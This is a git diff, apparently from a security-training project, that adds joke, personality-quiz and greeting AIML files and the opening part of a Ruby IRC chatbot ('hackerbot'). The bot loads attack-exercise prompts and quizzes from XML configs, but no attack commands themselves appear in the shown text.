A wife was having a go at her husband. "Look at Mr Barnes across the road", she moaned. "Every morning when he goes to work, he kisses his wife goodbye. Why don't you do that?" "Because I haven't been introduced to her yet", replied her old man.
+
"Where are you going on holiday?" John asked Trevor. "We're off to Thailand this year", Trevor replied. "Oh; aren't you worried that the very hot weather might disagree with your wife?" asked John. "It wouldn't dare", said Trevor.
+
Two women were standing at a funeral. "I blame myself for his death", said the wife. "Why?" said her friend. "Because I shot him", said the wife.
+
A woman goes into a clothes shop, "Can I try that dress on in the window please?" she asks. "I'm sorry madam", replies the shop assistant, "but you'll have to use the changing-rooms like everyone else."
+
Van Gogh goes into a pub and his mate asks him if he wants a drink. "No thanks", said Vincent, "I've got one ear."
+
A pony walks into a pub. The publican says, "What's the matter with you?" "Oh it's nothing", says the pony. "I'm just a little horse!"
+
A white horse walks into a bar, pulls up a stool, and orders a pint. The landlord pours him a tall frothy mug and say, "You know, we have a drink named after you." To which the white horse replies, "What, Eric?"
+
Two drunk men sat in a pub. One says to the other, "Does your watch tell the time?" "The other replies, "No, mate. You have to look at it."
+
A man goes into a pub with a newt sitting on his shoulder. "That's a nice newt", says the landlord, "What's he called?" "Tiny", replies the man. "Why's that?" asks the landlord. "Because he's my newt", says the man.
+
Doctor: I have some bad news and some very bad news. Patient: Well, you might as well give me the bad news first. Doctor: The lab called with your test results. They said you have 24 hours to live. Patient: 24 HOURS! That's terrible!! WHAT could be WORSE? What's the very bad news? Doctor: I've been trying to reach you since yesterday.
+
Two men are chatting in a pub one day. "How did you get those scars on your nose?" said one. "From glasses", said the other. "Well why don't you try contact lenses?" asked the first. "Because they don't hold as much beer", said the second.
+
A man went to the doctor, "Look doc", he said, "I can't stop my hands from shaking." "Do you drink much?" asked the doctor. "No", replied the man, "I spill most of it."
+
Man goes to the doctor, "Doctor, doctor. I keep seeing fish everywhere." "Have you seen an optician?" asks the doctor. "Look I told you," snapped the patient, "It's fish that I see."
+
After a car crash one of the drivers was lying injured on the pavement. "Don't worry", said a policeman who's first on the scene," a Red Cross nurse is coming." "Oh no", moaned the victim, "Couldn't I have a blonde, cheerful one instead?"
+
A policeman walked over to a parked car and asked the driver if the car was licensed. "Of course it is", said the driver. "Great, I'll have a beer then", said the policeman.
+
A policeman stops a woman and asks for her licence. "Madam", he says, "It says here that you should be wearing glasses." "Well", replies the woman, "I have contacts." "Listen, love", says the copper, "I don't care who you know; You're nicked!"
+
A policeman stopped a motorist in the centre of town one evening. "Would you mind blowing into this bag, sir?" asked the policeman. "Why?" asked the driver. "Because my chips are too hot", replied the policeman.
+
Whizzing round a sharp bend on a country road a motorist ran over a large dog. A distraught farmer's wife ran over to the dead animal. "I'm so very sorry", said the driver, "I'll replace him, of course." "Well, I don't know", said the farmer's wife, "Are you any good at catching rats?"
+
Waiter, this coffee tastes like dirt! Yes sir, that's because it was ground this morning.
+
Waiter, what is this stuff? That's bean salad sir. I know what it's been, but what is it now?
+
Waiter: And how did you find your steak sir? Customer: I just flipped a chip over, and there it was!
+
A guy goes into a pet shop and asks for a wasp. The owner tells him they don't sell wasps, to which the man says, "Well you've got one in the window."
+
A man goes into a fish shop and says, "I'd like a piece of cod, please." Fishmonger says, "It won't be long sir." "Well, it had better be fat then", replies the man.
+
Man: Doctor, I've just swallowed a pillow. Doctor: How do you feel? Man: A little down in the mouth.
+
Two goldfish are in a tank. One turns to the other and says, "Do you know how to drive this thing?"
+
A tortoise goes to the police station to report being mugged by three snails. "What happened?" says the policeman. "I don't know", says the tortoise. "It was all so quick."
+
Little girl: Grandpa, can you make a sound like a frog? Grandpa: I suppose so sweetheart. Why do you want me to make a sound like a frog?" Little girl: Because Mum said that when you croak, we're going to Disneyland.
+
"Is your mother home?" the salesman asked a small boy sitting on the front step of a house. "Yeah, she's home", the boy said, moving over to let him past. The salesman rang the doorbell, got no response, knocked once, then again. Still no-one came to the door. Turning to the boy, the salesman said, "I thought you said your mother was home." The kid replied, "She is, but I don't live here."
+
Mother: Why are you home from school so early? Son: I was the only one in the class who could answer a question. Mother: Oh, really? What was the question? Son: Who threw the rubber at the headmaster?
+
A man's credit card was stolen but he decided not to report it because the thief was spending less than his wife did.
+
A newly-wed couple had recently opened a joint bank account. "Darling", said the man. "The bank has returned that cheque you wrote last week." "Great", said the woman. "What shall I spend it on next?"
+
A man goes into a fish and chip shop and orders fish and chips twice. The shop owner says, "I heard you the first time."
+
A tramp approached a well-dressed man. "Ten pence for a cup of tea, Guv?" He asked. The man gave him the money and after for five minutes said, "So where's my cup of tea then?"
+
A neutron walks into a pub. "I'd like a beer", he says. The landlord promptly serves him a beer. "How much will that be?" asks the neutron. "For you?" replies the landlord, "No charge."
+
A woman goes to the doctor and says, "Doctor, my husband limps because his left leg is an inch shorter than his right leg. What would you do in his case?" "Probably limp, too", says the doc.
+
Three monks are meditating in the Himalayas. One year passes in silence, and one of them says to the other, "Pretty cold up here isn't it?" Another year passes and the second monk says, "You know, you are quite right." Another year passes and the third monk says, "Hey, I'm going to leave unless you two stop jabbering!"
+
A murderer, sitting in the electric chair, was about to be executed. "Have you any last requests?" asked the prison guard. "Yes", replied the murderer. "Will you hold my hand?"
+
A highly excited man rang up for an ambulance. "Quickly, come quickly", he shouted, "My wife's about to have a baby." "Is this her first baby?" asked the operator. "No, you fool", came the reply, "It's her husband."
+
A passer-by spots a fisherman by a river. "Is this a good river for fish?" he asks. "Yes", replies the fisherman, "It must be. I can't get any of them to come out."
+
A man went to visit a friend and was amazed to find him playing chess with his dog. He watched the game in astonishment for a while. "I can hardly believe my eyes!" he exclaimed. "That's the smartest dog I've ever seen." His friend shook his head. "Nah, he's not that bright. I beat him three games in five."
+
A termite walks into a pub and says, "Is the bar tender here?"
+
A skeleton walks into a pub one night and sits down on a stool. The landlord asks, "What can I get you?" The skeleton says, "I'll have a beer, thanks" The landlord passes him a beer and asks "Anything else?" The skeleton nods. "Yeah...a mop..."
+
A snake slithers into a pub and up to the bar. The landlord says, "I'm sorry, but I can't serve you." "What? Why not?" asks the snake. "Because", says the landlord, "You can't hold your drink."
+
Descartes walks into a pub. "Would you like a beer sir?" asks the landlord politely. Descartes replies, "I think not" and ping! he vanishes.
+
A cowboy walked into a bar, dressed entirely in paper. It wasn't long before he was arrested for rustling.
+
A fish staggers into a bar. "What can I get you?" asks the landlord. The fish croaks "Water..."
+
Two vampires walked into a bar and called for the landlord. "I'll have a glass of blood", said one. "I'll have a glass of plasma", said the other. "Okay", replied the landlord, "That'll be one blood and one blood lite."
+
How many existentialists does it take to change a light bulb?
Two. One to screw it in, and one to observe how the light bulb itself symbolises a single incandescent beacon of subjective reality in a netherworld of endless absurdity, reaching towards the ultimate horror of a maudlin cosmos of bleak, hostile nothingness.
+
A team of scientists were nominated for the Nobel Prize. They had used dental equipment to discover and measure the smallest particles yet known to man. They became known as "The Graders of the Flossed Quark..."
+
A truck carrying copies of Roget's Thesaurus overturned on the highway. The local newspaper reported that onlookers were "stunned, overwhelmed, astonished, bewildered and dumbfounded."
+
"My wife is really immature. It's pathetic. Every time I take a bath, she comes in and sinks all my little boats."
+
"How much will it cost to have the tooth extracted?" asked the patient. "50 pounds", replied the dentist. "50 pounds for a few moments' work?!" asked the patient. "The dentist smiled, and replied, "Well, if you want better value for money, I can extract it very, very slowly..."
+
A doctor thoroughly examined his patient and said, "Look I really can't find any reason for this mysterious affliction. It's probably due to drinking." The patient sighed and snapped, "In that case, I'll come back when you're damn well sober!"
+
Doctor: Tell me nurse, how is that boy doing; the one who ate all those 5p pieces? Nurse: Still no change doctor.
+
Doctor: Did you take the patient's temperature nurse? Nurse: No doctor. Is it missing?
+
A depressed man turned to his friend in the pub and said, "I woke up this morning and felt so bad that I tried to kill myself by taking 50 aspirin." "Oh man, that's really bad", said his friend, "What happened?" The first man sighed and said, "After the first two, I felt better."
+
A famous blues musician died. His tombstone bore the inscription, "Didn't wake up this morning..."
+
A businessman was interviewing a nervous young woman for a position in his company. He wanted to find out something about her personality, so he asked, "If you could have a conversation with someone living or dead, who would it be?" The girl thought about the question: "The living one", she replied.
+
Manager to interviewee: For this job we need someone who is responsible. Interviewee to Manager: I'm your man then - in my last job, whenever anything went wrong, I was responsible.
+
A businessman turned to a colleague and asked, "So, how many people work at your office?" His friend shrugged and replied, "Oh about half of them."
+
"How long have I been working at that office? As a matter of fact, I've been working there ever since they threatened to sack me."
+
In a courtroom, a mugger was on trial. The victim, asked if she recognised the defendant, said, "Yes, that's him. I saw him clear as day. I'd remember his face anywhere." Unable to contain himself, the defendant burst out with, "She's lying! I was wearing a mask!"
+
As Sid sat down to a big plate of chips and gravy down the local pub, a mate of his came over and said, "Here Sid, me old pal. I thought you were trying to get into shape? And here you are with a high-fat meal and a pint of stout!" Sid looked up and replied, "I am getting into shape. The shape I've chosen is a sphere."
+
Man in pub: How much do you charge for one single drop of whisky? Landlord: That would be free sir. Man in pub: Excellent. Drip me a glass full.
+
I once went to a Doctor Who restaurant. For starters I had Dalek bread.
+
A restaurant nearby had a sign in the window which said "We serve breakfast at any time", so I ordered French toast in the Renaissance.
+
Why couldn't the rabbit get a loan?
Because he had burrowed too much already!
+
I phoned up the builder's yard yesterday. I said, "Can I have a skip outside my house?". The builder said, "Sure. Do what you want. It's your house."
+
What's the diference between a sock and a camera? A sock takes five toes and a camera takes four toes!
+
Woman on phone: I'd like to complain about these incontinence pants I bought from you! Shopkeeper: Certainly madam, where are you ringing from? Woman on phone: From the waist down!
+
Knock knock.
+
Two Oranges in a pub, one says to the other "Your round.".
+
Guy : "Doc, I've got a cricket ball stuck up my backside." Doc : "How's that?" Guy : "Don't you start..."
+
Two cows standing in a field. One turns to the other and says "Moo!" The other one says "Damn, I was just about to say that!".
+
A vampire bat arrives back at the roost with his face full of blood. All the bats get excited and ask where he got it from. "Follow me", he says and off they fly over hills, over rivers and into a dark forest. "See that tree over there", he says.
"WELL I DIDN'T!!".
+
A man goes into a bar and orders a pint. After a few minutes he hears a voice that says, "Nice shoes". He looks around but the whole bar is empty apart from the barman at the other end of the bar. A few minutes later he hears the voice again. This time it says, "I like your shirt". He beckons the barman over and tells him what's been happening to which the barman replies, "Ah, that would be the nuts sir. They're complimentary"!
+
A man was siting in a restaurant waiting for his meal when a big king prawn comes flying across the room and hits him on the back of the head. He turns around and the waiter said, "That's just for starters".
+
Doctor! I have a serious problem, I can never remember what i just said. When did you first notice this problem? What problem?
+
Now, most dentist's chairs go up and down, don't they? The one I was in went back and forwards. I thought, "This is unusual". Then the dentist said to me, "Mitsuku, get out of the filing cabinet".
+
I was reading this book, 'The History of Glue'. I couldn't put it down.
+
The other day someone left a piece of plastacine in my bedroom. I didn't know what to make of it.
+
When I was at school people used to throw gold bars at me. I was the victim of bullion.
+
I was playing the piano in a bar and this elephant walked in and started crying his eyes out. I said "Do you recognise the tune?" He said "No, I recognise the ivory."
+
I went in to a pet shop. I said, "Can I buy a goldfish?" The guy said, "Do you want an aquarium?" I said, "I don't care what star sign it is."
+
My mate Sid was a victim of I.D. theft. Now we just call him S.
+
David Hasselhoff walks into a bar and says to the barman, "I want you to call me David Hoff".
The barman replies "Sure thing Dave... no hassle"
+
+
+
+
+
+
+_
+010011010101100111011
+Well computers think it's a funny joke.
+
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/personality.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/personality.aiml
new file mode 100644
index 000000000..20d21f2f0
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/personality.aiml
@@ -0,0 +1,293 @@
+
+
+
+
+
+
+
+
+
+
+
+MARKETING
+DO YOU WORK IN SALES *
+3 CompetitorPERSONALITY TEST QUESTION
+
+ETYPE
+PERSONALITY TYPE
+
+WHAT IS MY PERSONALITY TYPE
+PERSONALITY TYPE
+
+WHAT IS MY PERSONALITY STYLE
+WHAT IS MY PERSONALITY TYPE
+
+I DO NOT LIKE TO GO *
+* GO WITH THE FLOW
+PERSONALITY TEST QUESTION
+
+I HAVE STANDARDS *
+You sound like a perfectionist. PerfectionistSTANDARDS
+
+PERSONALITY TEST QUESTION
+
Do you get angry alot?1B
+
Do you like to have everything organized?2A
+
Do you make a lot of sacrifices for others?2B
+
Do you laugh or cry more than other people?3A
+
Are you very competitive?3B
+
Do you like to be number one?4A
+
Are you very creative?4B
+
Do you feel that something is missing from your life?5A
+
Do you have only a few friends?5B
+
Do you believe it is better to go it alone?6A
+
Do you have a lot of fears?6B
+
Do you think a lot about the authorities?7A
+
Do you have a hard time completing projects?7B
+
Is it difficult for you to pay attention to one thing?8A
+
Do you believe the strong protect the weak?8B
+
Do you feel more body sensations than emotions?9A
+
Do you try to stop people from fighting?9B
+
Do you often put others before yourself?1C
+
Do you enjoy housecleaning?2C
+
Do you take pride in your accomplishment?3C
+
Do you work in sales or marketing?4C
+
Do you get depressed?5C
+
Do you work in the sciences or medicine?6C
+
Are you a fireman, policeman, teacher or public servant?7C
+
Do you often seek pleasure?8C
+
Do you own your own business or want to?9C
+
Do you like to "go with the flow"?1A
+
+
+PERSONALITY TYPE UNKNOWN
+PERSONALITY TYPE OM
+
+PERSONALITY TYPE OM
+I have not made up my mind about you yet. But please keep chatting with me. In the course of our conversation I will ask you questions and try to determine your personality type. Later, ask me again and I will give you my best estimate of your Enneagram personality style.
+
+PERSONALITY TYPE *
+My best estimate of your personality type is the "" type. Please bear in mind that this is not a professional judgment, but only a guess based on your inputs to a heursitic algorithm, and no claim is made as to the absolute certainty of these results. You may obtain a different result by chatting with me longer and answering more of my questions about your personality.
+
+SALES
+DO YOU WORK IN SALES *
+3 CompetitorPERSONALITY TEST QUESTION
+
+PTQ
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU FEEL THAT SOMETHING IS MISSING *
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU LAUGH OR CRY *
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU GET DEPRESSED
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU GET ANGRY *
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU TAKE PRIDE *
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU OWN YOUR OWN BUSINESS *
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU HAVE ONLY A FEW FRIENDS
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU HAVE A LOT OF FEARS
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU WORK IN THE SCIENCES *
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU WORK IN SALES *
+PERSONALITY TEST QUESTION
+
+NO
+DO YOU LIKE TO BE NUMBER ONE
+PERSONALITY TEST QUESTION
+
+NO
+* SACRIFICES FOR OTHERS
+PERSONALITY TEST QUESTION
+
+NO
+* STOP PEOPLE FROM FIGHTING
+PERSONALITY TEST QUESTION
+
+NO
+* VERY COMPETITIVE
+PERSONALITY TEST QUESTION
+
+NO
+* COMPLETING PROJECTS
+PERSONALITY TEST QUESTION
+
+NO
+* HOUSECLEANING
+PERSONALITY TEST QUESTION
+
+NO
+* ATTENTION TO ONE THING
+PERSONALITY TEST QUESTION
+
+NO
+* STRONG PROTECT THE WEAK
+PERSONALITY TEST QUESTION
+
+NO
+* AUTHORITIES
+PERSONALITY TEST QUESTION
+
+NO
+* EVERYTHING ORGANIZED
+PERSONALITY TEST QUESTION
+
+NO
+* PUT OTHERS BEFORE YOURSELF
+PERSONALITY TEST QUESTION
+
+NO
+* BODY SENSATIONS THAN EMOTIONS
+PERSONALITY TEST QUESTION
+
+NO
+* SEEK PLEASURE
+PERSONALITY TEST QUESTION
+
+NO
+* GO WITH THE FLOW
+PERSONALITY TEST QUESTION
+
+NO
+* GO IT ALONE
+PERSONALITY TEST QUESTION
+
+NO
+ARE YOU VERY CREATIVE
+PERSONALITY TEST QUESTION
+
+NO
+ARE YOU A FIREMAN *
+PERSONALITY TEST QUESTION
+
+WHICH TYPE * AM I
+WHAT IS MY PERSONALITY TYPE
+
+YES
+DO YOU FEEL THAT SOMETHING IS MISSING *
+4 IndividualistPERSONALITY TEST QUESTION
+
+YES
+DO YOU LAUGH OR CRY *
+2 GiverPERSONALITY TEST QUESTION
+
+YES
+DO YOU GET DEPRESSED
+4 IndividualistPERSONALITY TEST QUESTION
+
+YES
+DO YOU GET ANGRY *
+1 PerfectionistPERSONALITY TEST QUESTION
+
+YES
+DO YOU TAKE PRIDE *
+2 GiverPERSONALITY TEST QUESTION
+
+YES
+DO YOU OWN YOUR OWN BUSINESS *
+8 BossPERSONALITY TEST QUESTION
+
+YES
+DO YOU HAVE A LOT OF FEARS
+6 LoyalistPERSONALITY TEST QUESTION
+
+YES
+DO YOU THINK A LOT ABOUT THE AUTHORITIES
+6 LoyalistPERSONALITY TEST QUESTION
+
+YES
+DO YOU WORK IN THE SCIENCES *
+5 ObserverPERSONALITY TEST QUESTION
+
+YES
+DO YOU WORK IN SALES *
+3 CompetitorPERSONALITY TEST QUESTION
+
+YES
+DO YOU LIKE TO BE NUMBER ONE
+3 CompetitorPERSONALITY TEST QUESTION
+
+YES
+* SACRIFICES FOR OTHERS
+2 GiverPERSONALITY TEST QUESTION
+
+YES
+* STOP PEOPLE FROM FIGHTING
+9 MediatorPERSONALITY TEST QUESTION
+
+YES
+* VERY COMPETITIVE
+3 CompetitorPERSONALITY TEST QUESTION
+
+YES
+* COMPLETING PROJECTS
+7 HedonistPERSONALITY TEST QUESTION
+
+YES
+* HOUSECLEANING
+1 PerfectionistPERSONALITY TEST QUESTION
+
+YES
+* ATTENTION TO ONE THING
+7 HedonistPERSONALITY TEST QUESTION
+
+YES
+* STRONG PROTECT THE WEAK
+8 BossPERSONALITY TEST QUESTION
+
+YES
+* EVERYTHING ORGANIZED
+1 PerfectionistPERSONALITY TEST QUESTION
+
+YES
+* PUT OTHERS BEFORE YOURSELF
+9 MediatorPERSONALITY TEST QUESTION
+
+YES
+* BODY SENSATIONS THAN EMOTIONS
+8 BossPERSONALITY TEST QUESTION
+
+YES
+* SEEK PLEASURE
+7 HedonistPERSONALITY TEST QUESTION
+
+YES
+* GO WITH THE FLOW
+9 MediatorPERSONALITY TEST QUESTION
+
+YES
+* GO IT ALONE
+5 ObserverPERSONALITY TEST QUESTION
+
+YES
+ARE YOU VERY CREATIVE
+4 IndividualistPERSONALITY TEST QUESTION
+
+YES
+ARE YOU A FIREMAN *
+6 LoyalistPERSONALITY TEST QUESTION
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/salutations.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/salutations.aiml
new file mode 100644
index 000000000..404c14acd
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/salutations.aiml
@@ -0,0 +1,367 @@
+
+
+
+
+
+
+
+
+
+
+
+GOODBY
+bye
+
+END
+bye
+
+BYEBYE *
+bye
+
+HASTA LUEGO
+bye
+
+HASTA LA VISTA
+bye
+
+HASTA *
+bye
+
+ALOH
+hello
+
+YOU ARE WELCOME
+
The pleasure was all mine.
Don't mention it.
Polite people are nice.
+
+YOU ARE WELCOME *
+It was my pleasure.
+
+HAVE A GOOD NIGHT
+bye
+
+HAVE TO GO
+bye
+
+BUHBYE
+bye
+
+ADIOS
+bye
+
+ADIOS *
+bye
+
+C YA
+bye
+
+MORNING
+good morning
+
+SHALOM
+Does SHALOM mean Hello or Goodbye?
+
+CYA *
+bye
+
+ALLO
+hello
+
+HI THERE *
+hello
+
+GOODNITE *
+goodnight
+
+RETRY
+hello
+
+MY PLEASRE
+The pleasure was indeed mine.
+
+IT MEANS HELLO
+hello
+
+IT IS GOOD TALKING TO YOU
+Nice chatting with you too, .
+
+CATCH YOU LATER
+bye
+
+AUREVOIR
+bye
+
+ANYBODY HOME
+hello
+
+G2G
+bye
+
+WHAT IS SHALOM
+Does shalom mean hello or goodbye?
+
+GTG
+bye
+
+I QUIT
+bye
+
+I WANT TO LEAVE
+Ok, bye bye.
+
+I NEED TO GO
+bye
+
+I DO NOT WANT TO TALK *
+bye
+
+I LEAVE
+bye
+
+I G2G
+bye
+
+I GOING
+bye
+
+I LEAVING
+bye
+
+I HAVE TO GET GOING
+goodbye
+
+I HAVE TO LEAVE
+bye
+
+I HAVE TO LEAVE *
+bye
+
+I HAVE TO GO BYE
+bye
+
+I HAVE GOT TO GO
+bye
+
+I BETTER GO
+bye
+
+I GOTTA GO
+bye
+
+I GOT TO GO
+bye
+
+I G TWO G
+bye
+
+I RESIGN
+bye
+
+I MUST BE GOING *
+bye
+
+I MUST LEAVE
+bye
+
+I MUST LEAVE *
+bye
+
+I MUST GO *
+bye
+
+I WILL TALK TO YOU LATER *
+bye
+
+I AM GOING TO GO
+bye
+
+I AM GOING *
+bye
+
+I AM LEAVING *
+bye
+
+I AM OFF *
+bye
+
+I LEFT
+bye
+
+I GO
+bye
+
+EXIT
+bye
+
+GOOD MORNING
+Hello and how are you this morning?
+
+GOOD BY
+bye
+
+GOOD DAY
+hello
+
+GOOD NIGHT
+Goodnight, .
+
+GOOD NITE
+bye
+
+HOI
+hello
+
+BY BY
+bye
+
+IS ANYONE THERE
+hello
+
+GET LOST
+bye
+
+HEY THERE
+hello
+
+BYE BYE
+bye
+
+BYE BYE *
+bye
+
+BYE
+
Bye.
Adios.
Goodbye.
Bye bye.
Goodbye.
Sayonara.
Bye for now.
See you later!
See you later.
Until next time.
TTYL, .
See you later .
Thanks for chatting, .
+
+OLA
+hello
+
+HOW IS EVERYONE *
+We are all fine as far as I know.
+
+GOODNIGHT
+Goodnight
+
+GOODNIGHT *
+goodnight
+
+FAREWELL
+bye
+
+FAREWELL *
+bye
+
+SEE YOU SOON
+bye
+
+SEE YOU *
+bye
+
+KONNICHI WA
+hello
+
+ADIEU
+good bye
+
+GOODBYE
+SEE YOU LATER
+bye
+
+GO HOME
+bye
+
+CIAO
+Does CIAO mean hello or goodbye?
+
+CIAO MEANS GOODBYE
+but
+
+HOLA IS HELLO *
+hola
+
+CHEERS
+bye
+
+HOWDIE *
+hello
+
+TIME TO GO
+bye
+
+YOUR WELCOME *
+you are welcome
+
+SAYONARA
+good bye
+
+NIGHTY *
+bye
+
+HELLO AGAIN
+Hi there. I was just wanting to talk to .
+
+HELLO HOW ARE YOU
+I am fine thank you how are you?
+
+HELLO
+
HI
Hi there!
+
+HI
+ Hello
+
+HULLO
+hello
+
+HALO
+hello
+
+HELOO *
+hello
+
+* BYE
+OK see you later .
+
+KONNICHIWA
+hello
+
+DISCONNECT ME
+bye
+
+GOT TO GO
+bye
+
+GOT TO GO *
+bye
+
+MOOSHI MOOSHI
+hello
+
+BONJOUR MEANS HELLO
+Well hello there!
+
+GOTTA GO
+bye
+
+GOTTA GO *
+bye
+
+LEAVE
+bye
+
+LEAVE *
+bye
+
+TA TA
+bye
+
+_ TALK TO YOU LATER
+bye
+
+G NIGHT
+bye
+
+ALOHA
+hello
+
+REPLY
+hello
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.rb b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.rb
new file mode 100644
index 000000000..3ac8d02cb
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/hackerbot.rb
@@ -0,0 +1,421 @@
+require 'cinch'
+require 'nokogiri'
+require 'nori'
+require './print.rb'
+require 'open3'
+require 'programr'
+require 'getoptlong'
+require 'thwait'
+
+def check_output_conditions(bot_name, bots, current, lines, m)
+ condition_met = false
+ bots[bot_name]['attacks'][current]['condition'].each do |condition|
+ if !condition_met && condition.key?('output_matches') && lines =~ /#{condition['output_matches']}/
+ condition_met = true
+ m.reply "#{condition['message']}"
+ end
+ if !condition_met && condition.key?('output_not_matches') && lines !~ /#{condition['output_not_matches']}/
+ condition_met = true
+ m.reply "#{condition['message']}"
+ end
+ if !condition_met && condition.key?('output_equals') && lines == condition['output_equals']
+ condition_met = true
+ m.reply "#{condition['message']}"
+ end
+
+ if condition_met
+ # Repeated logic for trigger_next_attack
+ if condition.key?('trigger_next_attack')
+ # is this the last one?
+ if bots[bot_name]['current_attack'] < bots[bot_name]['attacks'].length - 1
+ bots[bot_name]['current_attack'] += 1
+ bots[bot_name]['current_quiz'] = nil
+ current = bots[bot_name]['current_attack']
+
+ sleep(1)
+ # prompt for current hack
+ m.reply bots[bot_name]['attacks'][current]['prompt']
+ else
+ m.reply bots[bot_name]['messages']['last_attack'].sample
+ end
+ end
+
+ if condition.key?('trigger_quiz')
+ m.reply bots[bot_name]['attacks'][current]['quiz']['question']
+ m.reply bots[bot_name]['messages']['say_answer']
+ bots[bot_name]['current_quiz'] = 0
+ end
+ end
+ end
+ unless condition_met
+ if bots[bot_name]['attacks'][current]['else_condition']
+ m.reply bots[bot_name]['attacks'][current]['else_condition']['message']
+ end
+ end
+ current
+end
+
+def read_bots (irc_server_ip_address)
+ bots = {}
+ Dir.glob("config/*.xml").each do |file|
+ print "#{file}"
+
+ begin
+ doc = Nokogiri::XML(File.read(file))
+ rescue
+ Print.err "Failed to read hackerbot file (#{file})"
+ print "Failed to read hackerbot file (#{file})"
+
+ exit
+ end
+ #
+ # # TODO validate scenario XML against schema
+ # begin
+ # xsd = Nokogiri::XML::Schema(File.read(schema_file))
+ # xsd.validate(doc).each do |error|
+ # Print.err "Error in bot config file (#{file}):"
+ # Print.err ' ' + error.message
+ # exit
+ # end
+ # rescue Exception => e
+ # Print.err "Failed to validate bot config file (#{file}): against schema (#{schema_file})"
+ # Print.err e.message
+ # exit
+ # end
+
+ # remove xml namespaces for ease of processing
+ doc.remove_namespaces!
+
+ doc.xpath('/hackerbot').each_with_index do |hackerbot|
+
+ bot_name = hackerbot.at_xpath('name').text
+ Print.debug bot_name
+ bots[bot_name] = {}
+
+ chatbot_rules = hackerbot.at_xpath('AIML_chatbot_rules').text
+ Print.debug "Loading chatbot ai from #{chatbot_rules}"
+ bots[bot_name]['chat_ai'] = ProgramR::Facade.new
+ bots[bot_name]['chat_ai'].learn([chatbot_rules])
+
+ get_shell = hackerbot.at_xpath('get_shell').text
+ Print.debug get_shell
+ bots[bot_name]['get_shell'] = get_shell
+
+ bots[bot_name]['messages'] = Nori.new.parse(hackerbot.at_xpath('//messages').to_s)['messages']
+ Print.debug bots[bot_name]['messages'].to_s
+
+ bots[bot_name]['attacks'] = []
+ hackerbot.xpath('//attack').each do |attack|
+ bots[bot_name]['attacks'].push Nori.new.parse(attack.to_s)['attack']
+ end
+ bots[bot_name]['current_attack'] = 0
+
+ bots[bot_name]['current_quiz'] = nil
+
+ Print.debug bots[bot_name]['attacks'].to_s
+
+ bots[bot_name]['bot'] = Cinch::Bot.new do
+ configure do |c|
+ c.nick = bot_name
+ c.server = irc_server_ip_address
+ # joins a channel named after the bot, and #bots
+ c.channels = ["##{bot_name}", '#bots']
+ end
+
+ on :message, /hello/i do |m|
+ m.reply "Hello, #{m.user.nick} (#{m.user.host})."
+ m.reply bots[bot_name]['messages']['greeting']
+ current = bots[bot_name]['current_attack']
+
+ # prompt for the first attack
+ m.reply bots[bot_name]['attacks'][current]['prompt']
+ m.reply bots[bot_name]['messages']['say_ready'].sample
+ end
+
+ on :message, /help/i do |m|
+ m.reply bots[bot_name]['messages']['help']
+ end
+
+ on :message, 'next' do |m|
+ m.reply bots[bot_name]['messages']['next'].sample
+
+ # is this the last one?
+ if bots[bot_name]['current_attack'] < bots[bot_name]['attacks'].length - 1
+ bots[bot_name]['current_attack'] += 1
+ bots[bot_name]['current_quiz'] = nil
+ current = bots[bot_name]['current_attack']
+
+ # prompt for current hack
+ m.reply bots[bot_name]['attacks'][current]['prompt']
+ m.reply bots[bot_name]['messages']['say_ready'].sample
+ else
+ m.reply bots[bot_name]['messages']['last_attack'].sample
+ end
+
+ end
+
+ on :message, /^(goto|attack) [0-9]+$/i do |m|
+ m.reply bots[bot_name]['messages']['goto'].sample
+ requested_index = m.message.chomp().split[1].to_i - 1
+
+ Print.debug "requested_index = #{requested_index}, bots[bot_name]['attacks'].length = #{bots[bot_name]['attacks'].length}"
+
+ # is this a valid attack number?
+ if requested_index < bots[bot_name]['attacks'].length
+ bots[bot_name]['current_attack'] = requested_index
+ bots[bot_name]['current_quiz'] = nil
+ current = bots[bot_name]['current_attack']
+
+ # prompt for current hack
+ m.reply bots[bot_name]['attacks'][current]['prompt']
+ m.reply bots[bot_name]['messages']['say_ready'].sample
+ else
+ m.reply bots[bot_name]['messages']['invalid']
+ end
+
+ end
+
+ on :message, /^(the answer is|answer):? .+$/i do |m|
+ answer = m.message.chomp().split[1].to_i - 1
+ answer = m.message.chomp().match(/(the answer is|answer):? (.+)$/i)[2]
+
+ # current_quiz = bots[bot_name]['current_quiz']
+ current = bots[bot_name]['current_attack']
+
+ quiz = nil
+ # is there ONE quiz question?
+ if bots[bot_name]['attacks'][current].key?('quiz') && bots[bot_name]['attacks'][current]['quiz'].key?('answer')
+ quiz = bots[bot_name]['attacks'][current]['quiz']
+ # multiple quiz questions?
+ # elsif bots[bot_name]['attacks'][current]['quiz'][current_quiz].key?('answer')
+ # quiz = bots[bot_name]['attacks'][current]['quiz'][current_quiz]
+ end
+
+ if quiz != nil
+ correct_answer = quiz['answer'].
+ gsub(/{{post_command_output}}/, bots[bot_name]['attacks'][current]['post_command_output']).
+ gsub(/{{shell_command_output_first_line}}/, bots[bot_name]['attacks'][current]['get_shell_command_output'].split("\n").first).
+ gsub(/{{pre_shell_command_output_first_line}}/, bots[bot_name]['attacks'][current]['get_shell_command_output'].split("\n").first)
+
+
+ if answer.match(correct_answer)
+ m.reply bots[bot_name]['messages']['correct_answer']
+ m.reply quiz['correct_answer_response']
+
+ # Repeated logic for trigger_next_attack
+ if quiz.key?('trigger_next_attack')
